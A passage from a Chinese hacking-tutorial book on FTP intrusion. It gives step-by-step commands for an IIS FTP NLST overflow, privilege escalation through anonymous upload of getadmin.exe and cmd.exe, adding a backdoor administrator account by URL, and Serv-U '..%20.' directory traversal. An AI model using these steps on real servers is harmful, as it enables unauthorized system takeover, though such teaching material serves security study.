黑客攻防技术内幕-防止入侵的方法(16)
6.10 基于FTP入侵攻击
现在很多的站点用FTP服务来更新网站,但是微软的FTP服务还是使用第三方软件如:serv-u、wuftp,但它们都存在着严重的漏洞。接下来将介绍一些有关FTP服务存在的漏洞及入侵测试。
6.10.1 IIS FTP远程溢出漏洞
在IIS FTP服务器中NLST命令存在一个缓冲区溢出漏洞,这个漏洞可能使攻击者在服务器上非法运行一条命令,如果溢出地址不正确的话,也可能会造成服务器关闭。
受影响的系统:
Windows NT 4.0 (SP4) IIS 3.0 / 4.0
Windows 95/98 PWS 1.0
攻击测试 :
(1) 找到一台Windows NT4.0服务器,并提供FTP匿名登录服务,这里以www.ffhh.net为测试对象。接下来打开MS-DOS程序(Windows 2000操作系统打开命令提示符),在命令提示符下,攻击侵者向目标机输入以下格式:
ftp www.ffhh.net
如图6-96所示。
图6-96 以FTP方式登录到www.ffhh.net主机
提示:
Microsoft FTP service (Version 4.0)这里是指测试服务器所使用的FTP版本为:微软公司的4.0版本,从230 Anonymous user logged in可以看出,登录的方式为匿名登录,匿名用户只有对服务器上的数据读的权限,所输入的用户名是ftp,在要求输入密码时,可以为空,也可以填写一个E-mail地址即可。
注意:
一般情况下匿名登录用户名为 Anonymous ,在输入用户名时输入Anonymous,密码为空或是输入一个E-mail地址后直接按Enter键即可。
(2) 在FTP命令下输入以下内容:
ls BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
如图6-97所示。
图6-97 攻击测试
提示:
服务器显示150 Opening ASCII mode data connection for file list,说明该服务器关闭。
(3) 此时被测试的服务器关闭,服务器端反映如下:
The instruction at '0x710f8aa2' referenced memory at '0x41414156'
EAX = 0000005C EBX = 00000001
ECX = 00D3F978 EDX = 002582DD
ESI = 00D3F978 EDI = 00000000
EIP = 710F8AA2 ESP = 00D3F644
EBP = 00D3F9F0 EFL = 00000206
通过多次的调试和测试,可以得出服务器端准确的溢出地址,从而能在服务器上执行一条非法命令。
6.10.2 匿名FTP入侵
如果IIS服务器允许匿名账号FTP登录的设定,会给入侵者带来了突破Windows NT Server的机会,接下来看看入侵者是如何入侵允许匿名账号FTP登录的服务器。
入侵测试:
操作系统:Windows 98
目标服务器地址:www.54hack.com
所用程序:getadmin.exe(在Windows NT下提升用户权限)
(1) 选择【开始】→【程序】→【MS-DOS方式】命令打开命令提示符,在提示符下键入:
c:\> ftp www.54hack.com
Connected to www.54hack.com
220 54hack Microsoft FTP Service (Version 3.0).
提示:
54hack就是NETBIOS名,那么一定会有一个IUSR_54hack的用户账号,入侵者可以通过这个账号来获取Administrator的权限。
User (www.54hack.com:(none)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 输入guest@ 或者guest
对于缺乏网络安全知识的管理员来说,很多人没有将guest账号禁用,或者没有设置密码,那么guest账号就是一个可用的正确的用户账号,虽然只属于Domain guest组,在这种情况下我们就可以进NT Server的FTP了。
(2) 进去以后,如果输入cd /scripts后改变目录成功,这时入侵就有了80%的把握了。
(3) 把WinNT下的cmd.exe复制到scripts文件夹下,把getadmin.exe和gasys.dll上传到scripts目录下,然后输入:
http://www.54hack.com/scripts/getadmin.exe?IUSR_54hack
大约十多秒后屏幕显示:
CGI Error
这时已经把IUSR_54hack升级为Administrator,也就是任何访问该Web站的人都是
管理员。
(4) 添加用户,在浏览器中输入如下内容:
http://www.54hack.com/scripts/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20system32%20ffhh%20/add
这样就创建了一个叫system32的用户,密码是:ffhh,然后提升权限输入如下内容:
http://www.54hack.com/scripts/getadmin.exe?system32
(5) 入侵测试完成,完全控制目标计算机。
6.10.3 Serv-U入侵
Serv-U是一款很出色的FTP服务器软件,在网上的应用很广泛,其设置简单,小巧玲珑,很受用户喜爱。 但是在2000年12月3日Zoa_Chien (zoachien securax.org)发现了Serv-U的一个重大漏洞,这个漏洞使安装有Serv-U软件的服务器的硬盘暴露在网络上。这个漏洞在2.5i以前版本中全部存在,但是现在还有很多的网站仍然在使用2.5i以前的版本。下面就来看看入侵者是如何利用该漏洞的。
(1) 入侵者使用匿名进入一个使用Seru-U的2.5i以前版本FTP站点:
ftp>pwd
257 "/c:/ftproot" is current directory.
ftp>cd ..
550 /c:/: Permission denied.
解释:
权限不足。
ftp> ls ..
200 PORT Command successful.
550 Permission denied.
解释:
没有权限查看上一级目录。
(2) 换种方式,输入如下命令格式:
ftp> ls ..%20./*
注意:
命令格式中必须加上/*。
上一级目录(C:\)中的东西尽收眼底了!
ftp> cd ..%20.
ftp> pwd
257 "/c:/ftproot/.." is current directory.
解释:
当前目录变成了c:\ftproot\..,即根目录。
这是由于..%20在这里相当于..;而且,在Serv-U分析这个目录的时候,把..当作当前目录下的子目录,而不是直接进入上一级目录。所以C盘根目录,也就是c:\ftproot\..被当作ftproot里面的子目录来操作。如果在Serv-U的设置中,c:\ftproot被当作用户的主目录,用户可以对它和其子目录进行读和写的操作,而本来用户被禁止操作的其他目录,就可以通过这种方式当作当前目录的子目录而继承其属性,用户也可以对它读写了。假如当前在\c:\ftproot\incoming\目录,那么就可以用..%20./..%20./windows来表示\c:\ftproot\test\..\..\windows,即c:\windows目录,如果incoming目录对用户完全开放,可以进行读、写、删除、列表、建目录,那么用户也就可以对c:\windows目录进行一些可怕的操作了。
经过证明%20..%20%20..、..%20%20..、%20..%20.都等效于..。如果管理员不重视此漏洞的话,服务器就有可能被入侵都完全控制。